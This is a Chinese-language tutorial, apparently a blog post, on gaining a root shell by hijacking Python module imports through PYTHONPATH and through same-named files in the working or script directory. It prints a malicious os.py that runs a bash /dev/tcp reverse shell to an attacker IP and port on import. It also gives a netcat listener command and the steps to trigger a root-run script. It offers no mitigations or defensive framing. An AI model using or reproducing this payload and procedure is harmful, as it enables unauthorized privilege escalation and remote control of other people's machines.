15-31
约 973 字大约 3 分钟
2025-11-02
如何利用 Python 的环境特性在不修改原脚本的前提下,劫持程序执行流程并获取 Root Shell
一、利用 PYTHONPATH 环境变量劫持
PYTHONPATH 环境变量是 Python 解释器在寻找导入模块时,除了系统默认路径(如标准库路径和当前目录)外,会优先搜索的路径列表。如果目标脚本以 root 权限运行,并且我们能够控制 PYTHONPATH 的值或目标环境,就可以实现劫持
原理
- 目标: 找到一个目标脚本(以 Root 权限运行)会导入的标准库模块或第三方库模块。假设目标脚本中有一行代码是
import os - 创建恶意模块: 我们在可控目录下创建一个与目标导入模块同名的文件,例如
os.py - 设置
PYTHONPATH: 将我们存放恶意os.py文件的目录路径设置为PYTHONPATH的值 - 执行流程: 当 Root 脚本启动时,Python 解释器会优先在
PYTHONPATH指向的目录中搜索os.py。它会找到我们的恶意文件,并执行其中的代码,而不是系统标准的os库
攻击步骤(获取 Root Shell)
假设目标 Root 脚本名为 target_root_script.py,且它导入了 os 模块
创建恶意载荷 (Payload): 在我们的可写入目录(例如
/home/user/malicious_path/)下创建os.py文件# /home/user/malicious_path/os.py import subprocess import socket # 这段代码将在模块被导入时立即执行 def trigger(): # 反弹 Root Shell # 注意:这里使用 bash 和 /dev/tcp 是 Linux 特有技巧 # 实际操作中,可以使用 Python 的 socket 库实现更隐蔽的反弹 LHOST = '你的攻击机IP' LPORT = '你的监听端口' subprocess.run(f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1", shell=True) # 确保在模块加载时触发 trigger() # 为了不让目标程序崩溃,我们可能需要在这里导入和暴露真正的 os 模块 # 但简单起见,可以先尝试让程序崩溃,如果能获得 Shell 就不必关心 # 复杂劫持:from real_os_module import *设置环境变量并执行: 在 Shell 中设置
PYTHONPATH,然后运行目标脚本# 确保你的攻击机已经在 LPORT 端口监听 (e.g., nc -lvnp LPORT) export PYTHONPATH="/home/user/malicious_path/" /usr/bin/python3 /path/to/target_root_script.py # 此时,target_root_script.py 导入 os 模块时,将执行我们的反弹 Shell 代码
二、利用标准库的优先级加载机制(文件名冲突)
如果没有 PYTHONPATH 的控制权,我们还可以利用 Python 的默认搜索顺序来实现劫持。
原理
Python 的模块搜索顺序通常是:
- 当前目录或程序所在目录(优先级最高)
PYTHONPATH中的目录- 标准库目录和第三方包目录
如果我们将恶意模块放置在目标 Root 脚本所在的目录下,或者放置在用户当前工作目录下,并以与目标脚本导入的模块相同的名称命名,它将优先于系统标准库被加载
攻击策略
这种策略需要我们对目标脚本所在的目录有写入权限,或者能控制脚本执行时的当前工作目录 (CWD)
目标: 目标 Root 脚本(
/opt/app/root_tool.py)导入了config模块(一个自定义模块),或者导入了一个常见且不复杂的标准库模块,如logging或tempfile当前目录劫持: 如果目标脚本执行时,我们能控制其 CWD:
- 创建恶意载荷: 在我们控制的 CWD 下创建一个名为
logging.py的恶意文件 - 执行: 当 Root 脚本被执行时,如果它导入了
import logging,它将加载 CWD 下的logging.py
# 攻击机已监听 LPORT # 切换到我们的可控目录(假设我们在这里创建了恶意的 logging.py) cd /home/user/malicious_cwd/ # 执行 Root 脚本,使其在我们的目录下启动 /usr/bin/python3 /opt/app/root_tool.py- 创建恶意载荷: 在我们控制的 CWD 下创建一个名为